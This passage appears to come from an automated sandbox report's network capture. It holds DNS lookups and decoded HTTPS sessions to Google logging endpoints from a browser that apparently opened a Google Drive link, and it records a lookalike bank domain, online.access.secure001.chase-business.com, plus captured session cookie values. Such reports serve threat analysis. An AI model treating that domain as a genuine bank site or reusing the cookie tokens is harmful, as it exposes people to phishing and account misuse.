Dec 20, 2024 01:17:38.128082037 CET	192.168.2.4	1.1.1.1	0x656a	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 20, 2024 01:17:40.807252884 CET	192.168.2.4	1.1.1.1	0xa021	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:17:40.807462931 CET	192.168.2.4	1.1.1.1	0x297c	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 01:16:23.460022926 CET	1.1.1.1	192.168.2.4	0x2720	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:23.460038900 CET	1.1.1.1	192.168.2.4	0xd900	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 01:16:24.972068071 CET	1.1.1.1	192.168.2.4	0x54f1	No error (0)	drive.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:29.699311018 CET	1.1.1.1	192.168.2.4	0x84b4	No error (0)	drive.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:38.039326906 CET	1.1.1.1	192.168.2.4	0x310b	No error (0)	play.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:40.761642933 CET	1.1.1.1	192.168.2.4	0xa71c	No error (0)	play.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:44.741596937 CET	1.1.1.1	192.168.2.4	0xf558	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:16:44.741596937 CET	1.1.1.1	192.168.2.4	0xf558	No error (0)	plus.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:44.741662979 CET	1.1.1.1	192.168.2.4	0x21f9	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:16:47.895441055 CET	1.1.1.1	192.168.2.4	0xdd37	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:16:47.895678043 CET	1.1.1.1	192.168.2.4	0x6863	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:16:47.895678043 CET	1.1.1.1	192.168.2.4	0x6863	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:48.338751078 CET	1.1.1.1	192.168.2.4	0xa94e	No error (0)	blobcomments-pa.clients6.google.com		142.250.181.74	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:49.934887886 CET	1.1.1.1	192.168.2.4	0xdffd	No error (0)	www.google.com		172.217.19.228	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:49.935286999 CET	1.1.1.1	192.168.2.4	0x593c	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 01:16:51.005637884 CET	1.1.1.1	192.168.2.4	0x55d7	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:16:51.005847931 CET	1.1.1.1	192.168.2.4	0x3fe1	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:16:51.005847931 CET	1.1.1.1	192.168.2.4	0x3fe1	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:54.936256886 CET	1.1.1.1	192.168.2.4	0xe369	No error (0)	blobcomments-pa.clients6.google.com		142.250.181.74	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:16:55.693692923 CET	1.1.1.1	192.168.2.4	0x4a27	No error (0)	online.access.secure001.chase-business.com		188.119.66.154	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:17:00.039625883 CET	1.1.1.1	192.168.2.4	0x5110	No error (0)	peoplestackwebexperiments-pa.clients6.google.com		172.217.17.42	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:17:01.389785051 CET	1.1.1.1	192.168.2.4	0x54c9	No error (0)	online.access.secure001.chase-business.com		188.119.66.154	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:17:14.214915037 CET	1.1.1.1	192.168.2.4	0xb49b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:17:14.214915037 CET	1.1.1.1	192.168.2.4	0xb49b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:17:33.622750044 CET	1.1.1.1	192.168.2.4	0x5274	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 01:17:33.622750044 CET	1.1.1.1	192.168.2.4	0x5274	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:17:38.264869928 CET	1.1.1.1	192.168.2.4	0x6dbf	No error (0)	play.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 20, 2024 01:17:40.970067978 CET	1.1.1.1	192.168.2.4	0xa021	No error (0)	play.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

https:

play.google.com

apis.google.com

www.google.com

online.access.secure001.chase-business.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49765	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:39 UTC	973	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 4111 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=LrHPTNT3kiVWk49Nr6eaEjjd24hT5ONawicbAcnjoFndO-yltiVIcdBVQN_KIUQT4cXhcC3SEFQ7ibxpM7PnihrX1vvk5qsH87uG4kOSu2UJmHZ_H4xvOOhyIKF2dHLwJEhjSeiCAxnWDOyQbigcLrR9cE7ndW_PER_KuU7A3OrxhccBMIPQmi0
2024-12-20 00:16:39 UTC	4111	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 36 35 33 37 39 37 30 33 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 5b 5b 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 2c 31 37 33 34 36 35 33 37 39 37 30 33 38 30 30 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 31 37 33 34 36 35 33 37 39 37 30 33 38 30 30 30 5d 2c 6e 75 6c 6c 2c 31 5d 2c 6e 75 6c 6c 2c 37 31 36 2c 6e 75 6c 6c 2c 31 2c 31 5d Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[4,0,0,0,0]]],189,[["1734653797039",null,null,null,null,null,null,"[[[null,null,1,1734653797038000,null,null,null,[[1734653797038000],null,1],null,716,null,1,1]
2024-12-20 00:16:40 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=IQ1gRLL0Gn9U37RvXj_iI6Mll7s84_GUu2Yg5JdhWJymhtoc9rJ0-kmYZSzA0qu97gQSIQsKvIV4u2hjHIxvGxuPT1fwADLb8rj1OBG-1UAtfBWmWx-21CSuYyz-U0DVbxXra4ern1xjCDeJBJmGSu7A5qldFIH9qjbZi24y30sJsuCxg-Vg3tABTfWbW3c; expires=Sat, 21-Jun-2025 00:16:40 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:16:40 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 20 Dec 2024 00:16:40 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-12-20 00:16:40 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:16:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49771	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:42 UTC	995	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=LrHPTNT3kiVWk49Nr6eaEjjd24hT5ONawicbAcnjoFndO-yltiVIcdBVQN_KIUQT4cXhcC3SEFQ7ibxpM7PnihrX1vvk5qsH87uG4kOSu2UJmHZ_H4xvOOhyIKF2dHLwJEhjSeiCAxnWDOyQbigcLrR9cE7ndW_PER_KuU7A3OrxhccBMIPQmi0
2024-12-20 00:16:42 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 34 36 35 33 37 39 38 35 38 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1734653798582",null,null,null,
2024-12-20 00:16:42 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY; expires=Sat, 21-Jun-2025 00:16:42 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:16:42 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 20 Dec 2024 00:16:42 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-12-20 00:16:42 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:16:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49776	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:42 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 6325 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=IQ1gRLL0Gn9U37RvXj_iI6Mll7s84_GUu2Yg5JdhWJymhtoc9rJ0-kmYZSzA0qu97gQSIQsKvIV4u2hjHIxvGxuPT1fwADLb8rj1OBG-1UAtfBWmWx-21CSuYyz-U0DVbxXra4ern1xjCDeJBJmGSu7A5qldFIH9qjbZi24y30sJsuCxg-Vg3tABTfWbW3c
2024-12-20 00:16:42 UTC	6325	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 36 35 33 37 39 39 37 34 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734653799741",null,null,null,
2024-12-20 00:16:43 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:16:42 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:16:43 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:16:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49777	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:42 UTC	982	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 20749 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=IQ1gRLL0Gn9U37RvXj_iI6Mll7s84_GUu2Yg5JdhWJymhtoc9rJ0-kmYZSzA0qu97gQSIQsKvIV4u2hjHIxvGxuPT1fwADLb8rj1OBG-1UAtfBWmWx-21CSuYyz-U0DVbxXra4ern1xjCDeJBJmGSu7A5qldFIH9qjbZi24y30sJsuCxg-Vg3tABTfWbW3c
2024-12-20 00:16:42 UTC	16384	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 36 35 33 37 39 39 37 34 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734653799745",null,null,null,
2024-12-20 00:16:42 UTC	4365	OUT	Data Raw: 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5c 22 30 37 66 6c 6d 72 39 31 31 65 38 73 32 36 30 61 71 32 66 38 6d 30 34 39 6f 66 63 34 30 6c 69 6d 37 6f 69 31 6e 76 65 38 64 6d 31 30 79 38 30 33 39 31 70 63 71 36 35 79 2e 67 36 37 75 79 66 78 79 63 76 35 71 5c 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5c 22 61 70 Data Ascii: null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[\"07flmr911e8s260aq2f8m049ofc40lim7oi1nve8dm10y80391pcq65y.g67uyfxycv5q\",null,null,null,null,null,null,null,null,\"ap
2024-12-20 00:16:43 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:16:42 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:16:43 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:16:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49780	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:16:42 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=IQ1gRLL0Gn9U37RvXj_iI6Mll7s84_GUu2Yg5JdhWJymhtoc9rJ0-kmYZSzA0qu97gQSIQsKvIV4u2hjHIxvGxuPT1fwADLb8rj1OBG-1UAtfBWmWx-21CSuYyz-U0DVbxXra4ern1xjCDeJBJmGSu7A5qldFIH9qjbZi24y30sJsuCxg-Vg3tABTfWbW3c
2024-12-20 00:16:43 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:16:43 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
